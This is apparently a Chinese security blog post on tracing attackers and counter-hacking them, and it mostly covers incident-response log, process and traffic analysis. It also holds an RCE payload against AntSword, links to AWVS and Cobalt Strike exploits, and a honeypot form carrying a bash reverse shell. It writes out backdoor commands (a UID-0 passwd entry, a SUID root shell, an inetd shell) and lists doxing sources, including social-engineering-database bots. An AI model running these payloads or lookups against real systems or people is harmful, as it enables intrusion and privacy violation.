溯源反制思路整合
溯源反制思路整合
0x01反制的整体思路
0x02 反制具体思路
0x0201 反制主机
0x0202 反制后门附件
0x0203 反制攻击工具
0x03 拿下傀儡机之后如何进行源IP的查找
0x0301 日志分析
0x0302 进程分析
0x0303 流量分析
0x0304 服务查询
0x0305 其他技巧
通用
0x04 溯源相关思路
根据IP进行溯源
根据域名进行溯源
根据ID溯源
根据病毒源码细节溯源
通过手机号码溯源
总结
0x01反制的整体思路
反入侵得到攻击者机器权限 -> 入侵现场还原,摸清入侵思路 -> 并且须知入侵者的相关后门遗留,以便处理后门 -> 抓取入侵者的真实IP获得地理位置 -> 并按照攻击者的攻击路线加固相关漏洞安全。
0x02 反制具体思路
0x0201 反制主机
傀儡机一般都是具有漏洞的主机,可以使用常规渗透测试的手段进行攻击,这个操作就非常广了,在这里不过多赘述。
0x0202 反制后门附件
对附件进行逆向分析,得到C2地址,然后对目标ip进行渗透攻击。 有些钓鱼邮件头中,没有对源地址进行伪装,那么就有可能获取到源IP或者域名
留下的后门中有对自己的teamserver回传数据,可以通过分析后门,或者查看后门源码得知。
0x0203 反制攻击工具
倘若对方使用带有漏洞版本的攻击工具例如蚁剑、AWVS等,这时候可以使用RCE攻击对其进行反控,高版本蚁剑上此漏洞已经被修复。已知有漏洞的工具版本:
蚁剑 <=2.0.7可以RCE的漏洞 https://github.com/AntSwordProject/antSword/issues/147
被发现另外一枚可以RCE的漏洞 https://github.com/AntSwordProject/antSword/issues/150
Payload:
<?php
if(strlen($_POST[1]) == 153){
preg_match_all('/echo "(\w+)";/i', $_POST[1], $mat);
$profix = $mat[1][0];
$suffix = $mat[1][1];
echo $profix;?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Hello World!</title>
</head>
<body>
<h1>Hello World!</h1>
<p>This window does not have access to node bindings.</p>
<pre>process: <script>document.write(process)</script></pre>
<script>
window.open('data:text/html,But this one does! <br><pre>process.cwd(): <script>document.write(process.cwd());const {spawn} = require("child_process");spawn("open",["/Applications/Calculator.app"]);</scr'+'ipt></pre>');
</script>
</body>
</html>
<?php
echo $suffix;
}else{
eval($_POST[1]);
}awvs 10直接利用exp,等待对方扫描自己,即刻上线。exp下载地址:https://github.com/dzonerzy/acunetix_0day
cobalt strike
3.5版本teamserver有RCE漏洞
可以爆破teamserver密码,然后得到黑客攻击的其他傀儡机。
exp利用地址:https://github.com/ryanohoro/csbruter
sqlmap构造特殊的get或者post注入点来等待攻击者使用sqlmap扫描,例如下图,将get请求中的一个参数的值设置为
ls
l,倘若直接改成反弹shell的代码即可反控对方机器。post利用方式:
<html>
<head>
<title> A sqlmap honeypot demo</title>
</head>
<body>
<input>search the user</input>
<form id="myForm" action="username.html" method="post" enctype="text/plain">
<input type='hidden' name='name'value='Robin&id=4567&command=shell`bash -i >&/dev/tcp/192.168.xxx.xxx/2333 0>&1`&port=1234'/>
<input type="button"οnclick="myForm.submit()" value="Submit">
</form>
</body>
</html>
0x03 拿下傀儡机之后如何进行源IP的查找
一般拿到傀儡机之后,就需要查找下一步攻击者的信息了,当然攻击者也很有可能搭建socks代理来攻击,但是还是有可能会发现真实攻击者的蛛丝马迹的。
0x0301 日志分析
01 Web日志分析
Nginx,Apache,IIS,Tomcat
可以查看分析攻击者的IP,访问的UA
可以grep木马页面筛选攻击者IP,
查看日志中某个路径访问最多的10个IP
cat gitsort.log | grep "/language/HTML" | cut -d ' ' -f 1 | sort | uniq -c | sort -nr | head -n 10
02 系统日志分析
可以看到访问者的IP
Windows
日志路径:C:\Windows\System32\winevt\Logs
必看日志:Security.evtx、System.evtx、Application.evtx
Linux
日志路径: /var/log
必看日志:secure、history
/var/log/boot.log:录了系统在引导过程中发生的事件,就是Linux系统开机自检过程显示的信息
/var/log/lastlog :记录最后一次用户成功登陆的时间、登陆IP等信息
/var/log/messages :记录Linux操作系统常见的系统和服务错误信息
/var/log/secure :Linux系统安全日志,记录用户和工作组变坏情况、用户登陆认证情况
/var/log/btmp :记录Linux登陆失败的用户、时间以及远程IP地址
/var/log/syslog:只记录警告信息,常常是系统出问题的信息,使用lastlog查看
/var/log/wtmp:该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件,使用last命令查看
/var/run/utmp:该日志文件记录有关当前登录的每个用户的信息。如 who、w、users、finger等就需要访问这个文件
/var/log/syslog 或 /var/log/messages 存储所有的全局系统活动数据,包括开机信息。基于 Debian 的系统如 Ubuntu 在 /var/log/syslog 中存储它们,而基于 RedHat 的系统如 RHEL 或 CentOS 则在 /var/log/messages 中存储它们。
/var/log/auth.log 或 /var/log/secure 存储来自可插拔认证模块(PAM)的日志,包括成功的登录,失败的登录尝试和认证方式。Ubuntu 和 Debian 在 /var/log/auth.log 中存储认证信息,而 RedHat 和 CentOS 则在 /var/log/secure 中存储该信息。
lastlog 查看最后登陆日志
查看 /var/log/secure日志
history命令 查看历史命令记录,运气好的话可以获得比较关键的信息
0x0302 进程分析
Windows
tasklist
查看进程列表,eg:tasklist | find "16376"进一步查看16376进程的具体信息。
WMIC扩展WMI(Windows Management Instrumentation,Windows管理规范) ,提供了从命令行接口和批命令脚本执行系统管理的支持。C:\users\fengxuan>wmic wmic:root\cli>
这时,在命令行再输入process, 就可以查看完整的进程信息了。
windows的任务管理器是很好的进程查看工具,当然大家还可以使用一些其他工具,比如Kernel Detective 来帮助你检测
https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
Linux
ps
ps aux
查看进程/proc/进程号 进程信息 在浏览 /proc 目录的时候您会发现许多目录的名称是一些数字。这些目录保存了当前系统中运行的所有进程的信息。
Top 命令,查看进程占用系统资源情况
lsof命令
0x0303 流量分析
通用
netstat -an
查看网络连接netstat -na|grep ESTABLISHED
查看已经连接上的网络IPnetstat -unltp
查看进程占用的端口号 (很有用)
Windows
wireshark
fiddler
linux
tcpdump
使用命令 tcpdump -i any -c100 -nn -w /tmp/tcpdump_save.cap
将抓到的包放到wireshark中进行分析
0x0304 服务查询
Windows
常见的后门技术列表:
1、隐藏、克隆账户test$
,
查找方式 :需要在界面上的用户管理查看,而不是单单在命令行查看
2、shift后门 将C盘windows目录下面的system32文件里面的sethc.exe应用程序进行转移,并生成sethc.exe.bak文件。并将cmd.exe拷贝覆盖sethc.exe 查找方式 :Md5 sethc.exe 看下是不是cmd.exe 的MD5
certutil -hashfile filename MD5
3、启动项、计划任务
【启动项】
查找方式 :window--开始--所有程序--启动
【组策略欺骗】
组策略,运行gpedit.msc,通过最策略的“脚本(启动/关机)”项来说实现。
查找方式 :
具体位置在“计算机配置→Windows设置”项下。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。
【计划任务】
查找方式 :window--开始--所有程序--附件--系统工具--任务计划程序
4、劫持技术
查找方式 :所谓的映像劫持就是Image File Execution Options(IFEO),位于注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
查找方式 :
这个注册项中有恶意的键值对就需要排查0.
5、Powershell后门
如何创建稳定的powershell backdoor https://github.com/AV1080p/Schtasks-Backdoor
查找方式 :
查看进程中是否有powershell的常驻进程
6、远控软件
Cobaltstrike, 灰鸽子。只能通过进程分析和流量分析才能找到木马。因为cs可以注入到其他进程中比如说System进程。
查找方式 :
通过任务管理器分析进程,还需要通过WSExplorer进行进程抓包。
7、嗅探技术
Cain
查找方式 :
查看进程
LInux
增加超级用户帐号
echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd
查找方式 :
查看 /etc/passwd 是否有UID为0的用户
破解/嗅控用户密码
查找方式 :查看进程,分析
放置SUID Shell
cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell
查找系统中设置了SUID权限的文件
find / -perm +4000 -exec ls -ld {} \; //查找设置了SUID权限的文件
find / -perm +6000 -exec ls -ld {} \; //上面的-6000表示既具有suid权限又具有sgid权限的文件
利用系统服务程序
修改/etc/inetd.conf
daytime stream tcp nowait /bin/sh sh –I
用trojan程序替换in.telnetd、in.rexecd等 inted的服务程序重定向login程序查找方式 :查看配置文件,查看文件MD5
TCP/UDP/ICMP Shell
Ping Backdoor,通过ICMP包激活后门, 形成一个Shell通道。TCP ACK数据包后门,能够穿越防火墙。
Linux下的icmp shell后门 容易被发现
http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz
这个是py版的 https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py
查找方式 :查看进程
Crontab定时任务
crontab -l #查看服务
0x0305 其他技巧
查看公钥,获取攻击者电脑名
查看其他操作日志记录,比如说Openvpn
通用
查询在线登陆者
LInux:w命令
Windows:query user
进程分析得到的病毒样本,可以在https://x.threatbook.cn/ 微步进行HASH查询,https://www.virustotal.com/ 这个网站上进行查询,可以检测是否为病毒,还有可以得到病毒的C2地址。
0x04 溯源相关思路
根据IP进行溯源
微步在线
https://x.threatbook.cn/
https://www.virustotal.com/
搜索引擎搜索
github搜索
根据域名进行溯源
whois查询 备案查询 企查查/天眼查查询 zoomeye/fofa查询
根据ID溯源
在搜索引擎查找 在github,gitee,开源中国中查找 在社交平台上查找,(微信/微博/linkedin/twitter) 在安全群/安全圈子里询问。
根据病毒源码细节溯源
查找代码中比较特殊的字符比如说:
在github中搜索这个特殊字符串“\x47\x4c\x4fB\x41\x4c\x53”。
查看代码中是否有请求攻击者其他主机的功能,会有IP,域名
通过手机号码溯源
1. 社交平台查询(微信/支付宝/微博/抖音)
2. 通过telegram里社工库机器人进行精准信息查询,机器人ID:@sgkmainbot
3. 查询注册过哪些网站 网站地址:https://www.reg007.com/
总结
这篇文章是我目前知道的溯源反制的所有的操作细节规范,在以后如果有新的技术出现,我也会及时的补充进去,我把这个文档放在Notion上,动态的更新,大家可以随时查看下:
https://fengxuan.notion.site/0fd37de0b16b44b9a546304ff83f82e8
这里我就放一张思维导图,大家可以在工作的时候参考。
我的公众号:风炫安全